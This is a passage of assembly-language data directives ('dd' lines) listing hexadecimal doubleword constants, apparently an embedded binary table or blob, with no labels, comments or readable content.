dd 0ECEB012Eh, 0FFDB051Ch, 2472F0BAh, 758AB801h, 8AC32B6h dd 0CB2A8DCh, 80FECBEAh, 7900CF80h, 0F205B444h, 70C37Ah dd 9C69223Fh, 0C7B68E0Bh, 86307F00h, 3B998A93h, 0AF475CFAh dd 3CB90076h, 0E74AD02Ch, 7B1CB608h, 61008481h, 85AD9D1Dh dd 0F97500FAh, 0D3F490BAh, 38001EA8h, 945819BCh, 3C8ED88h dd 0A796BDF7h, 81884AE5h, 0C4A024E0h, 0F8BF9811h, 7AAE03A0h dd 0AD4C7415h, 8165B000h, 0A8C1DB40h, 3B2EFCDEh, 700F846h dd 0EE399FE9h, 5A00BE81h, 0F06E0DD2h, 3BF80EFBh, 0C380664Fh dd 774ABAFAh, 0B50218E4h, 0D0745F10h, 9A144063h, 0EC3E0026h dd 4167648Bh, 0FC008337h, 0EE4E5E12h, 0B4C89h, 0BB11528Dh dd 4DCDD658h, 0BAA06500h, 2DAB8EDAh, 1C49001Eh, 9BB28173h dd 0C5F41020h, 0E063DC00h, 5CC166E7h, 7009095h, 0A7578619h dd 9820FB6Fh, 153E5E40h, 1A0260C0h, 0E0339B65h, 0CAEF0E49h dd 0D4E06DE8h, 4DA0E6D0h, 3B7BEE00h, 822662C2h, 5FAF0910h dd 60006740h, 1AD5980Ch, 0B331E914h, 0DFC107BCh, 8CC0D2C2h dd 0CEF605h, 7D19951Dh, 0B20937C0h, 0AFD92C03h, 0A0DF58BEh dd 20103Ch, 0A8856705h, 0F97E471Bh, 5AD7E100h, 0D126BBD6h dd 0FF9600BAh, 990322F4h, 701C7CF7h, 0E04AF0E3h, 741EDC53h dd 0BB9B2384h, 101E3907h, 3B3F9A5Eh, 94FA7F00h, 2CD0BDCBh dd 0AAE400EBh, 5527233Dh, 43BA1C5h, 1C4BE47h, 0BE61B322h dd 0D1D88E83h, 0DAFB00D9h, 0E08D3032h, 0E608106Ah, 0C0E15FF8h dd 55869AE4h, 4CBA2C0Fh, 0EEDB40AFh, 38EC1CCh, 0AB413EB8h dd 0FAA8395Ch, 2D1EEFC9h, 0AF806F95h, 23BA094Ah, 46CD0051h dd 6E2CAAD3h, 4F28EBF2h, 2800B093h, 0B19CE1FCh, 0B14BEB7h dd 2B908DD4h, 6099BEE3h, 0D0A82020h, 0FD5353Eh, 0E5C1048Eh dd 0AA004DDEh, 0E13A8CF1h, 3C9C2CA1h, 6C610014h, 0CE1A8811h dd 241BDC24h, 0C4D4803Ch, 427B956h, 0AEF900E5h, 8DF4D9FCh dd 0A4002075h, 0D5E1FA74h, 0AA9D7h, 8E1405E7h, 0AEEA834Ah dd 56DF841Eh, 47694502h, 0E65CC8E3h, 0C9FB00E8h, 40422337h dd 0D001078h, 22AF2C3Dh, 0E46C8B39h, 0DF25028Ch, 7B1F76F6h dd 9EE64860h, 0CA367003h, 0B02F8E04h, 48BCB974h, 60001C8Ch dd 0B895A13Dh, 77180E2Eh, 0E771A04Ah, 63F630E6h, 0E0DDD7E8h dd 0F5792902h, 0C055385Bh, 56A8A0h, 2B616226h, 0A1B2CD43h dd 0B1AEFA01h, 2488284h, 0EF9CE8h, 8F6D2480h, 57E987A0h dd 3762BE00h, 0FD130645h, 215F003Bh, 0AAB7A72h, 2D7714FCh dd 264AA260h, 0D40DDDh, 99EC11BFh, 0ACBE7E4h, 40AA2800h dd 266C5747h, 689F4C80h, 1201BF00h, 84356F34h, 6E0ECC00h dd 0BF208CAh, 0AD2400B0h, 0FBD82B9Ch, 0E098791Ah, 0C1A84224h dd 1C012326h, 32668788h, 1F75C8h, 3754B8ECh, 0DCF892D7h dd 45C52B07h, 0AC93CBD2h, 7E7AE914h, 23206C61h, 74BC06A7h dd 20D964D5h, 72AD75A0h, 54439B24h, 0B4B94800h, 734D8E22h dd 85F263h, 0E8659F3h, 0FD6DE036h, 5A677A01h, 0CFDA4719h dd 4E0660h, 8745EB6h, 2181DEA7h, 0E2EB05Ch, 0EC200B0Ah dd 92F8D1h, 6E32933Fh, 0B751C7CDh, 84033377h, 0A467B52Fh dd 0EEEC9878h, 13821CC4h, 57C20B17h, 6340550Eh, 232BACAAh dd 8F060B1Eh, 424191C0h, 729D61FAh, 0B5960090h, 8E43AA02h dd 1600F673h, 1EF9EFDh, 9AF4A5Fh, 53ED7BBh, 5478B480h dd 0DCE93036h, 8F07112Bh, 5B2E1E2Fh, 0AE4791E1h, 612830h dd 0C5E5E605h, 228702A4h, 0A5BADA00h, 4CF31473h, 6AA20052h dd 89A4FD8Dh, 0DA02EFACh, 3ACA8BB0h, 90617747h, 0E38CD46Bh dd 539AA204h, 28C0DF64h, 0E89C0Eh, 6B6925D1h, 0D36D4087h dd 2DB51407h, 5EB0EE77h, 398B5165h, 0B1805962h, 81976085h dd 67002DC4h, 0F0067670h, 0A0EE2069h, 73B990E4h, 79070052h dd 0CBC70F1Dh, 3D00E966h, 0F81C9F91h, 71F29835h, 2810BDFh dd 84D750C5h, 4885DBD8h, 0BA84D000h, 0A56057h, 632B763Fh dd 43E07FD8h, 0FB00487Dh, 1D5D2CC3h, 0DCBC8Fh, 82ABE65Ah dd 3D57F822h, 81ECDD38h, 0B91C3A6Eh, 56D8920Bh, 4C09002Bh dd 438645D6h, 3000EE76h, 0AE3E3DB2h, 0B122FA6h, 0DC524826h dd 880AE409h, 36310020h, 6606A728h, 341D2500h, 1103BED4h dd 0BCE40043h, 936791DBh, 4B00A17Bh, 6B71305Ch, 751913F1h dd 54EE57h, 29BB911Fh, 63813FE0h, 760FA800h, 0ABD9F59Dh dd 0D65C0033h, 0C3600AD5h, 42092018h, 809250BEh, 0D7E3DEC4h dd 0E18C7B81h, 0B075C3D4h, 0D4DD0052h, 0CD7D856Ch, 2B00534Bh dd 0FF7B868h, 2E2457B5h, 0A4318Ah, 0D7CCD150h, 6FE2129Eh dd 0F69A2907h, 42378A35h, 633B4CF0h, 969F0036h, 8C041601h dd 1551A046h, 0C8C0EC88h, 0ED0024B1h, 0A573AA35h, 0E7D7007Fh dd 0AEB6F9ACh, 1C26CA48h, 0B8001C1Fh, 19163727h, 0E13B0EA1h dd 0F6C2A786h, 0C8662Fh, 8424D263h, 0F5036CB2h, 1E4EF25Dh dd 0C1CEFAh, 7B3F43B5h, 0FE7B6F8Dh, 17A30600h, 491AE5D5h dd 29E61CEDh, 144F063Eh, 2A0268B2h, 6CF8E92Ch, 0A54E4083h dd 5733014Eh, 596F3D49h, 36DECBBh, 0C3DF5503h, 89F5E24Fh dd 0A3DCFD68h, 0B1970019h, 3565C4E6h, 0DAF25B92h, 0BB396AE0h dd 639301F7h, 0CE62FDFBh, 3803A0E0h, 0DD009461h, 0E4BCD56Dh dd 5800FA07h, 0BF6CED63h, 1D69A126h, 3C2E81h, 9B1CEFA4h dd 80A84777h, 703C4CE2h, 0FBAF00D4h, 92C027A8h, 0BF1A0005h dd 0D7745DCCh, 980AB235h, 0E4190AF7h, 750AECA6h, 0ED80E418h dd 1C87FB1Ah, 85F81293h, 0DBBC02E5h, 7052CABBh, 68D61604h dd 0A8800643h, 0F3B56F9h, 0D9F84893h, 14A7C2DCh, 3CC87901h dd 5403BA4Eh, 0B9FA2F76h, 6F5001EFh, 0CEBFD3AEh, 0E7C0F385h dd 4A01106Bh, 33A8F26Ah, 34BE8Bh, 411E3CDCh, 687C5B00h dd 0C7D7EA59h, 6A799818h, 0D3B120h, 0F179334h, 6D0CB2BDh dd 0D80226h, 57603F00h, 0F883264Dh, 275B003Ah, 0AD366623h dd 0C93ADF33h, 3F6B01F4h, 0B8353121h, 2440F361h, 780ECA14h dd 0DFA3005Eh, 0CB831FF5h, 8F00439Fh, 470331A6h, 0C209FEh dd 7032DD9Bh, 1B1D44C0h, 71977500h, 73FE2B2Fh, 0CAC403C9h dd 607457C5h, 9B1FB004h, 54B41392h, 406758B8h, 28DA26h dd 0E37F11Bh, 7FEA88AAh, 955F1F00h, 0FC947C97h, 66F00039h dd 7432ACDCh, 2A7636F6h, 43D83500h, 0EE3ED5Eh, 0FD570026h dd 73C7F9B3h, 677EBA3Ah, 0F041D700h, 29E11DE7h, 0A8B8CCh dd 0C08EA3Eh, 0D898E06Ah, 7E49810Eh, 0C2FF604Dh, 3C6C00Fh dd 3B855DC5h, 3EE8E546h, 0AE051DBFh, 0E3A9190Dh, 0F1812093h dd 7CC47C2h, 3F650063h, 930C143Ah, 0F2E45377h, 6ECA8500h dd 4C68821Eh, 0B37A008Fh, 275A6A2Bh, 36004B57h, 812CE8CBh dd 2473F984h, 80644h, 0EC217BAEh, 0A6004119h, 0FDA68CAh dd 0C2F8DDh, 99FE0C6Bh, 56C6F142h, 23E88F00h, 0B620F481h dd 0ACCE0EC4h, 34400FFAh, 70687F3Dh, 1465C526h, 10D34082h dd 4E602080h, 0AA00C083h, 0C35AE6D1h, 9BB8A6Dh, 2077584Bh dd 89BDAC80h, 1E008422h, 0F4C75591h, 5837D665h, 3600102Ch dd 31CF7371h, 8C3BC6EBh, 8618E0E9h, 0D0611Fh, 0D4366ADDh dd 5AFA4EA7h, 0A62D7A09h dd 0F910004Bh, 7040F2ABh, 0DFE10070h, 0CFFDED2Bh, 3E3A3ADBh dd 71950028h, 0BDB281DDh, 60C51D5Eh, 7D86003Fh, 0A64FAA5Fh dd 0E81E7F75h, 0F9871CDEh, 89BBF1BAh, 0A2328074h, 0F83BE1FCh dd 1E1A00AEh, 32E6D69h, 0E1EEF4Ch, 0A20A5612h, 0E0B9FC9Eh dd 0BF4FC538h, 30C758E0h, 57B86C00h, 0EE55719Eh, 45220103h dd 0A0ED14BEh, 1F413D89h, 3D1A9313h, 0D8AC3080h, 0B5F39697h dd 7891B0A0h, 0F17B5672h, 0CF167200h, 0A3FBE449h, 27230047h dd 1DDA9302h, 7800B221h, 82B81FD5h, 5C8A77BAh, 6600B536h dd 0B13CD7DBh, 8312EA15h, 100202D4h, 7A788B9Eh, 5D7B48h dd 0AF544AEFh, 5340706Dh, 0A14E1100h, 0B5347B17h, 5310133h dd 797832Bh, 28E3F9E9h, 0BE250E08h, 5D3000A6h, 1FD43375h dd 0A1FB36h, 343A9F4Eh, 472CF826h, 0E4023889h, 50D3B942h dd 0E6E903F8h, 7D7BDD2Ah, 9BC4F00Fh, 3403B233h, 9438562Eh dd 83F1ACC0h, 7FBD3C1Fh, 4EDAEE80h, 0CA197DA3h, 35BEA700h dd 8A2EC208h, 8EA81E33h, 2005009Bh, 9FF8D9B2h, 0D53D6B05h dd 0F08056B6h, 39AB58h, 5A4A4DEAh, 0F7B7952Ch, 5B30113h dd 0EF367440h, 9852E558h, 247B7AB8h, 0C295E2Ah, 15B808B2h dd 607F818h, 1278930h, 0FE01BC48h, 0DD428239h, 0F2844070h dd 1C00516Fh, 0F5ABD819h, 3AE60D5h, 996B8B43h, 70A94EA4h dd 87E4E028h, 2D063001h, 0C76FCD94h, 191B53D8h, 0E0E10CF6h dd 4CD3D47Eh, 4100D49Ch, 0C33F36DEh, 0B137872h, 0B818920Eh dd 68FC18C0h, 53BBCB1Fh, 7F553907h, 86698EB0h, 54F700E8h dd 7885CF64h, 2B001C6Bh, 0C3B3AFF2h, 0E0034002h, 305E0422h dd 0C0ADC98Fh, 10C63C78h, 0BC2A3405h, 2180EA3Ah, 9D7A14Ch dd 39230C5Bh, 6587FA01h, 99D97024h, 0A9573030h, 7598F1h dd 15B51217h, 83CCB2EDh, 67871C03h, 0C85FC643h, 8154FDh dd 84BC1A51h, 0DA9C7B97h, 850056B0h, 0B6FAC73Eh, 359391h dd 99F7E78Ch, 0ABFE1069h, 20DE1825h, 0BDF83C90h, 9F110E14h dd 16E621h, 9836262Ch, 91F810BFh, 64001A90h, 0B2E141CAh dd 600970E6h, 0BB8B2854h, 731A5EE3h, 80309BE9h, 0EF5093FFh dd 7F10C09Ch, 2AA9B0D8h, 0C89A0428h, 256B8E27h, 0D890D198h dd 6D44967h, 31C489D3h, 2E00267Dh, 1084BDDDh, 510E26h dd 1D47B46Dh, 0BFB12B72h, 2533A70Eh, 0E034EF8Ch, 9D3B8F5Bh dd 260F0005h, 773FF3AEh, 7A5817D7h, 0BB240034h, 736A9658h dd 0FC99581Bh, 0FC0CA414h, 0F6AF830Eh, 444FD0E0h, 7700EF4Dh dd 9E626A21h, 4090Bh, 0EC2B5732h, 0EB24237h, 2024AD27h dd 6BB99518h, 0B01F4856h, 0DFC41473h, 260EDE68h, 7814B1D7h dd 0F67FB000h, 2F65B39Dh, 0FE701F0Ah, 42008087h, 8C84DC8Dh dd 45202569h, 0A5E33CB0h, 0ED87621Ah, 0D8C07F18h, 0E8A06AF1h dd 4758DC34h, 79C2648h, 0F83E6D00h, 0DD9F395h, 0EFA03FE1h dd 6001DCAAh, 497AEA01h, 0DE9DE27Fh, 26435870h, 5A869Eh dd 0EE35F6D6h, 0E40777F2h, 1E687021h, 14BF3310h, 98E51CE3h dd 28A4C041h, 84AA0AD9h, 0F8A00E51h, 4000168Bh, 0ADE7B22Ah dd 3F3DDCCFh, 2880424Ah, 0F7126369h, 9C09CB0Bh, 0B6E4EE4h dd 0B318A026h, 0F98E79h, 7B6BBABFh, 18484024h, 5577A0A0h dd 0D860E24Ah, 288DDE91h, 2CEAD98h, 0C223A112h, 64406D58h dd 641E3FD2h, 4024578Bh, 0BBECD700h, 841941h, 0EDB0E13Ah dd 4021836Eh, 7404AA4Fh, 8890DD8Dh, 1F8462Dh, 1705E7FAh dd 3008D20Dh, 3412EB9Dh, 570A09A4h, 0BA078836h, 405F1A01h dd 8B53A8CAh, 39F10444h, 80563DC7h, 8ADF32C6h, 58225A00h dd 0D55588BBh, 2BAF01DAh, 692AD336h, 0C0F4C715h, 0C0ED3522h dd 0B04D2400h, 0F3DC3E77h, 9A59004Bh, 75E3A4ADh, 3C0B29FAh dd 0A2DF9BE1h, 90C22728h, 269D738Ch, 80A0FB0Fh, 732A016h dd 3D0F2294h, 0A0F7BD93h, 1C1361DFh, 0B3490762h, 423A9EC9h dd 30E09284h, 0B00C470h, 83D9D64Ch, 3F36B38h, 332BA9BEh dd 5800697Ah, 0F0B0D1CBh, 0F6907CEAh, 72D00EDh, 0FE6EA9A3h dd 2E7E3C3Eh, 391F358h, 0D228C994h, 0D906C06Ah, 2D100026h dd 9669245Ah, 5F00A603h, 78881ADFh, 1F447BA2h, 80C48F77h dd 5595EFB6h, 0A9059A2Ah, 91E10D05h, 977360C7h, 47BBA816h dd 58D4136Dh, 231080E2h, 96008963h, 2720A4FBh, 0A83C2A2Bh dd 86D894h, 66F9D239h, 9E9AA99Bh, 0ACDEEB0Fh, 4EC26093h dd 125AF59h, 8691E826h, 0F9EB1E2Bh, 22D3F8C6h, 3F0070B6h dd 0DE052925h, 5F4F00D8h, 638B7670h, 0C2025EDBh, 9C7E927Fh dd 9A24789Ah, 0B054FE8h, 0F80A4424h, 30B105E8h, 0B018B4E1h dd 68E97B18h, 0F79EBF21h, 1020C3FDh, 4FD4B4A8h, 8C4DD08h dd 560D3444h, 0EBB44830h, 0BCA8144Ch, 0C501EC69h, 4FA1653Eh dd 9F6E70D1h, 141F121Ch, 0F6789480h, 0A8AECD09h, 0C1A5D8h dd 1D447739h, 4FF8BA9Ah, 3C46D00h, 0DED8F2DFh, 0BDAE3029h dd 0FCF32FB2h, 3CD058h, 0D653BF8Dh, 71A178C3h, 68863F20h dd 2498C0D4h, 99FD46h, 5AE65E28h, 1E09B05Fh, 81925368h dd 626F32D8h, 5D25F4h, 0ABE412B3h, 968186D3h, 0CD006576h dd 0E8377C67h, 289455B9h, 8C0598Fh, 5F1C1F4Bh, 6FBFE060h dd 268C9068h, 61CDECh, 51F09F32h, 70004AAh, 2A210EE0h dd 0A035FF18h, 0A871BCh, 0C5E7F95h, 0F0346BBCh, 60E48000h dd 0E801BB22h, 7A2504FBh, 0C54B1B82h, 880FF5Ah, 13D851h dd 0BF73D2F2h, 9174374Ah, 80CA8E00h, 1E783176h, 0CB3E00DFh dd 220C1FF1h, 0FE0087B2h, 346DD9C7h, 608D8EE0h, 996E665Ch dd 89001DB6h, 5603A773h, 92E5B8h, 2A16CD6h, 0ED8C4B47h dd 0BAD0CF3Ah, 988A0053h, 0AFB86630h, 649276h, 7D57B00Bh dd 0A6FCDA55h, 0B4F60302h, 5607E1E2h, 0D6A5027Ch, 0E1406862h dd 6900404Ah, 9B646F8Dh, 5E896h, 8B02992Eh, 0A91BF3A0h dd 75FD3848h, 0ABCB300h, 2378CE01h, 4BB9002Bh, 2F381ED6h dd 4A4A57ABh, 9708BC00h, 87B045h, 81C6BED8h, 550E27F9h dd 0E020C76Eh, 658E1B4h, 874318D3h, 0CB01990Ch, 13C4894h dd 0C16C3FE4h, 55D0EFE2h, 65AE075Ah, 0C19FF8BBh, 3448FF16h dd 40571DCh, 0C1BCE185h, 0D7014000h, 0ECF948h, 2EB734DFh dd 392AB452h, 0F5E86701h, 0C2BC1831h, 0F8171841h, 59C62841h dd 5C4FB08Eh, 40BD3085h, 0EAD6CF2Ch, 0E51DA50Fh, 220090F8h dd 1A92CAB1h, 213300F7h, 127295B3h, 0C5003965h, 0E109AAA4h dd 1E7FF0h, 77C0DFADh, 2E2A3C18h, 9D8DBC02h, 551F1990h dd 6974B960h, 0D600BA75h, 8DE91A64h, 2C73C93Dh, 758EB8h dd 0BF0F94DBh, 201D3174h, 0E7802C2Ah, 52495785h, 77A200C1h dd 4E39D77Dh, 0B600087Bh, 7F45317Ah, 294066h, 0FD1F4C42h dd 82E7965Eh, 0CCB5706h, 1DE183A0h, 577B30DEh, 47721F2Fh dd 43417F17h, 200ECAFFh, 407B3AD7h, 0AEE07EE9h, 0C2DB48BEh dd 466E1400h, 0B3602DF9h, 0B6D46350h, 6CAA9E1Fh, 3132BC3Bh dd 150118DCh, 6497B440h, 0A4B806BCh, 40138AC7h, 99CCA395h dd 0D9100AEh, 4B435C61h, 95004D6Dh, 82ED6352h, 3018CDA5h dd 73380B36h, 1C92C13Bh, 26F1111Dh, 4218CC00h, 0E466D7Bh dd 78DA41FFh, 7A60B72Eh, 6411F519h, 685D1D00h, 932FD92Ah dd 31450087h, 50E40D72h, 0D41E076Eh, 0F200F9EBh, 5A2C9A57h dd 8DC900B9h, 93F1B835h, 132E9F85h, 6905FD6Ch, 87185AC0h dd 0C3955709h, 0C45DB320h dd 821A49E9h, 0D48AF310h, 0B57B403Fh, 0CF2B03AAh, 54711951h dd 0A7694980h, 1A01227Ah, 42A01B7Eh, 3880843Dh, 2F5A6593h dd 1603FBB7h, 90068108h, 6EA307h, 2F633821h, 1615EEECh dd 4D00EF77h, 0DFFA3D71h, 0C772D18h, 858DCBB3h, 92040B71h dd 0C7020152h, 0FC93A118h, 1D7D1F00h, 0AEFAB960h, 4548A95Ah dd 2F1F6118h, 790FBB8h, 2E8A37B0h, 2BC7F600h, 7A611CABh dd 0CF6C01D8h, 0FE1D159Ah, 852880B9h, 233722CAh, 91251859h dd 1CB62074h, 0CEFAA01Fh, 0FC80A558h, 0F0470012h, 1ED26164h dd 0C91D7797h, 70C07485h, 63D8E21Ch, 33B9A0B6h, 6E4E3D3Ah dd 0BC521B00h, 0DCD0936Ah, 0C4D18B51h, 0F3008E7Fh, 774F9D91h dd 21E53Fh, 4213B9DBh, 0FD2D05DCh, 0D601E4E8h, 3ED38902h dd 0D530749Ah, 5BB1F29h, 0C75ADDC2h, 20795F0Bh, 2FCAAE87h dd 0BAFB2E00h, 4B3F23ACh, 0ADA003A5h, 6C0BFC4Ch, 28C27BF3h dd 0D6E006C0h, 701C3F00h, 0EE7A4CD1h, 5BC77D8h, 0C772ABFBh dd 0BB042A91h, 8BEBC400h, 6EF61ECh, 43E91C00h, 582FF68Ch dd 2A0E00D4h, 0EDB7D2AFh, 111E8B97h, 151DAEECh, 0EE03073Eh dd 0DEC04682h, 71060AEBh, 0D23904E4h, 813C5FE8h, 0F04C1285h dd 3E025EF1h, 47E9B372h, 0F40E08Ch, 61F3018Bh, 5BB2D5ACh dd 0EEB4E0EAh, 26A03Fh, 0BA8FE483h, 0CD37B64h, 5B8866BDh dd 140343B8h, 83F730FCh, 3219B0C1h, 786E70F0h, 1F6600CFh dd 43926095h, 29DEF251h, 0B840861h, 1A82C390h, 19022C28h dd 6342215h, 8E216724h, 828D122Bh, 240D4228h, 2F73216Bh dd 1482D112h, 0C82F055Dh, 2E3C8890h, 8884A590h, 42934802h dd 0E924498Ch, 12AFA021h, 42781177h, 648FDD50h, 3B94B168h dd 537F1114h, 6608E121h, 843F9008h, 0B5404D4Eh, 0F53218E7h dd 7942B600h, 60241922h, 0D7FB0029h, 6B4EEDCCh, 0CDE44528h dd 14BF8800h, 50D52E39h, 32330099h, 936B91F2h, 0C00F413h dd 175CFDF9h, 7562ACh, 0ADE8C04Ch, 11E784BEh, 243BE5E4h dd 7A9B07DEh, 80BBD156h, 1E2C9C4Bh, 0D800077h, 7D92A7A9h dd 9800ECD9h, 41B9147Fh, 5C3AB2h, 949C7112h, 0FE64BFAFh dd 9AA82600h, 2B88992Ah, 42F4BDh, 2475D209h, 6BE47205h dd 16DEE718h, 181FA11h, 20C095B1h, 0BECEF81Fh, 6A698019h dd 2C68BFE8h, 7AD400BBh, 4C30A6CAh, 0B8F8429Ch, 0F18A6403h dd 9009FF73h, 7FF450h, 1612916Dh, 0BA7EDF3Eh, 94F8D478h dd 0F06BF809h, 5BC400AAh, 48CB34A0h, 423BAA52h, 55B3C380h dd 3897F2A6h, 0D80F3200h, 0BA9E648Dh, 0CFB0034h, 15934222h dd 0DF3C06A7h, 5D4A8047h, 54FD9577h, 0F482006Ah, 73E313BEh dd 8000AE7Ch, 101F1E24h, 30EC6412h, 0BBD82D03h, 0AA6057FBh dd 9CA7CE20h, 3B890130h, 0A55B9043h, 2B02F013h, 867F1E0Ch dd 7F41B0ACh, 8E3F0039h, 2ED625E6h, 60E31F1h, 0E71B66FFh dd 75B062E4h, 1446471h, 94F5099Dh, 0E8468F9Fh, 7A14EF2Ah dd 3D0B262h, 0A199D1F9h, 1FABE0F7h, 0B77FC1h, 721BEC0Dh dd 3C2F9349h, 0F5994E00h, 9C620767h, 0DCA7025Ch, 2ABE6EF4h dd 0DF239180h, 4003BC1Bh, 757B981Ch, 0C6D3C3CAh, 0C2CF00D8h dd 0D874445Ah, 0A5008B82h, 35A489BEh, 0F888D21h, 0DAF56B0h dd 9E1C8C40h, 1B052847h, 0C20125AAh, 0D65A80FEh, 0DF005986h dd 0A165AB7Ch, 3F5442E7h, 6807261h, 0B587BCCDh, 0E40055A9h dd 2913F578h, 0EB123h, 0D0BED6DFh, 0BC3B2BF3h, 9E93D91Fh dd 30388641h, 0B0215088h, 262B87E4h, 74584Fh, 53D4273Eh dd 0FFB0CEB5h, 62609200h, 4D838717h, 998E00A6h, 47974630h dd 0AA4890B3h, 576D001Dh, 0EAD2704Ch, 0B1BD00A1h, 0A9F30A3Eh dd 4100D531h, 0DCBF1521h, 349F8Dh, 4C2D7E8Bh, 8612C7B7h dd 82F4B571h, 0B148A01Ch, 0E6C46800h, 0B253A3h, 33EA3C49h dd 0D0CF8F96h, 28125A00h, 0FE1F62EBh, 1E72ECD4h, 80067E3Ah dd 42CB7B8Ah, 402943Dh, 502B98B0h, 1B25462h, 0C640141Eh dd 7D99EC4Eh, 5D05FE78h, 8E93B7D6h, 83534C80h, 20AE24F9h dd 2A1207A3h, 0A09C17A9h, 0EF0CDF1Bh, 1F2EE7E4h, 0BE1E7FDEh dd 0F6FBE041h, 30279Eh, 970E0053h, 99819BBDh, 5200FFA3h dd 0E232631Bh, 254E198h, 44E30334h, 3960DF95h, 65006635h dd 0FDA7462Ah, 0FE62F1h, 78DCC749h, 77375DB2h, 0C504107h dd 56848FD0h, 0C71B24C0h, 0D080ED5h, 7A08E47h, 0EC5E9A02h dd 0F2EBD400h, 9D987E24h, 3C0100EDh, 35403D27h, 0F600B4E0h dd 33CE7842h, 0B0C3DF1Fh, 849400C8h, 27F2381Ch, 95124BBDh dd 14009966h, 0A4927865h, 0F198002Ah, 0C91BE68Ch, 0B800746Bh dd 4D1CCCAh, 342D87h, 9B8A277Fh, 46753026h, 577E0C07h dd 2FA008B9h, 7704AFE9h, 5F67128Fh, 0FE640A93h, 3B100C1h dd 0FAC216D1h, 0CF976E00h, 679F513Bh, 851813E0h, 0AA6400E7h dd 0BEEAB141h, 0CA3F4C26h, 59000026h, 480BCA06h, 0ECD13F89h dd 428FBD01h, 0EC0CBC9Ch, 0FB39792Ch, 8C118027h, 92B3E1CCh dd 0D4750042h, 4664BC37h, 0A700351Ah, 0B9C42645h, 137D4318h dd 0EFBA0870h, 0B284E300h, 9A6BD91h, 0E1ECD4BCh, 93A2B700h dd 0D2FE02A9h, 92ECD05h, 0C482A55Ch, 8024438Fh, 24064A30h dd 786AACh, 2E97BB6Fh, 0E20FEB3Bh, 0E0391E3Ch, 13DDB192h dd 0CD320195h, 6B3F5BE1h, 7C65D4FAh, 31643Fh, 0E63D672Eh dd 0E2D4B5CAh, 0A1F6003Fh, 5FB92B9Bh, 0A000562Ah, 92D0C0Eh dd 0EDAF088h, 2A7539Fh, 0DEB38DC0h, 500049C0h, 9ED230A4h dd 1F0ECAD4h, 5DA8C3h, 7BD87141h, 2F0E67B2h, 802C1A53h dd 0E6AC8C95h, 0C2AD2612h, 0C0D80062h, 0F53E5C6h, 977B681Eh dd 1900F61Eh, 0A9829652h, 29310088h, 0BE08A026h, 0E700AE5Fh dd 3BFBC397h, 7B5E5668h, 0B25045Bh, 80C013F1h, 11C5C83Ch dd 0E933A400h, 7D9656B1h, 0B5EA00CFh, 0D83EBC30h, 9E01DC4Fh dd 0FD60E040h, 0A0CB83A2h, 0D9DD7Bh, 633F62B9h, 6AD4CB5Ah dd 65AD3A00h, 0C5577DB5h, 0FB661D4Ch, 0EE214291h, 0BE60368Ah dd 0C63DAAF5h, 0B2B300A6h, 0BBAC7583h, 74A916FAh, 565C0077h dd 0CA2D702Fh, 9C0098B0h, 7F238193h, 99483Dh, 0DECFC0AEh dd 0F40B63DDh, 68F958h, 0A139E0D7h, 3EEB34h, 0AC7376CBh dd 0CCF071F7h, 2087F91Dh, 6BD98500h, 0A988E4h, 57C4D50Ch dd 0A89E7B97h, 55BA4D07h, 240C066h, 281CF67h, 59849C4Bh dd 9660ED8Ch, 201F28C5h, 15804D85h, 6367C745h, 0D57000EEh dd 2FC45D44h, 431C25BEh, 0FF00BCE2h, 6F96BB7Ah, 0A8B10F1Eh dd 0A4207215h, 0EF7390F5h, 0B6506500h, 8E495FBAh, 200200C8h dd 0FF3FD8Ah, 40008459h, 63514F28h, 38B998BEh, 4E3922BBh dd 0CF0057BDh, 8CE2DD9Ch, 0AB3C4751h, 80F88561h, 0D480A5ECh dd 0DB3C5Dh, 0C20DF3C0h, 0AE095C20h, 13FEB71Eh, 31AB1840h dd 0F3776Ah, 7121E948h, 8EFB4996h, 76B62300h, 510D734h dd 7D6A009Dh, 0F019BBC8h, 1D072FACh, 0ED1B651Ah, 293BDF40h dd 5F74008Ch, 7F2007FCh, 840F8D69h, 0E20C9CFBh, 609A57CDh dd 599C9CCh, 72AD36EEh, 0AB54886Ch, 22084C01h, 574A0B3h dd 2CCF92ECh, 9A467Ch, 35A5D95h, 0DB0038CDh, 3C59AC8Bh dd 3B8C3Fh, 8570641Dh, 0AB444283h, 0C04C2C01h, 87E6F650h dd 0D65C30h, 416C3EE3h, 40C22BDEh, 6826C900h, 16103D34h dd 46663A8Dh, 1E0AF207h, 5949E0B3h, 0BB0098DCh, 2F1C90D2h dd 4E4D32h, 0B47681D3h dd 1651316Bh, 4453080Bh, 0AC78008Ah, 1DA352Eh, 340DC8Dh dd 0FCF4A5B4h, 0C6725BCEh, 2ECC7700h, 6140279h, 8CCF0022h dd 7C63DA27h, 0D10EE320h, 60D6FC25h, 8623AF45h, 36B72FBh dd 3F9C9FD5h, 77AA1EDEh, 7B516155h, 39D7A9Eh, 735DD22Eh dd 61254DC0h, 5A9751Ch, 7F49AAC3h, 6815D059h, 39D7910h dd 9739F64Ch, 8394FD9Ch, 0EF882D10h, 3E004950h, 37EC3052h dd 0E84BEh, 0BBDA9D04h, 0C3477AA2h, 51F9B200h, 1AD9E7C1h dd 0C6B400E2h, 0A0258397h, 7C022D37h, 69CC1908h, 2A220FEFh dd 69E0F035h, 7616322Eh, 3800DB9Bh, 5B75586Fh, 0B2810112h dd 0B4F5A66Ch, 5F003ACEh, 5C91CA43h, 4842F418h, 74701439h dd 8EBD1366h, 0F8550044h, 49803DB7h, 6B771E00h, 0C7D6F410h dd 0FF2A0068h, 5F35E3EAh, 56074104h, 47A02340h, 0F134C820h dd 175E1227h, 0C0145CB7h, 0FBA8EFBCh, 1913EDABh, 4000F2ADh dd 7266B29Eh, 50578E4h, 0AB38135Dh, 0E02C80F7h, 3B0E68C0h dd 6089604Eh, 845535A1h, 53860009h, 0F3A37566h, 0D1B0DDCCh dd 893A5D03h, 0F0178593h, 7BFD2331h, 0E64300BAh, 42D1E5BFh dd 0D4B011ABh, 5F456D0Fh, 0A3B8A334h, 0F52A981Ah, 931D00CAh dd 9299751Fh, 0A00F458h, 783A619Ch, 2E44636Bh, 3457C5h dd 822932C8h, 6D4C7526h, 59007F89h, 33A31012h, 26489CFh dd 0A60A3EFEh, 0E0E013ACh, 0F10283DEh, 0F2B7BFB3h, 0C7B88730h dd 0E8EF5432h, 45D310h, 2D07B2D8h, 29842310h, 0BC2A272Eh dd 6C1B0100h, 80416Dh, 0E131CF4Ch, 22E66C8h, 9FA548C0h dd 744F6FBEh, 50A86427h, 5A06C025h, 1E0043D6h, 92548BC4h dd 4DF1F3h, 0A87387E3h, 45D464EEh, 6F242202h, 58EC35CBh dd 0F54A0538h, 3860A1h, 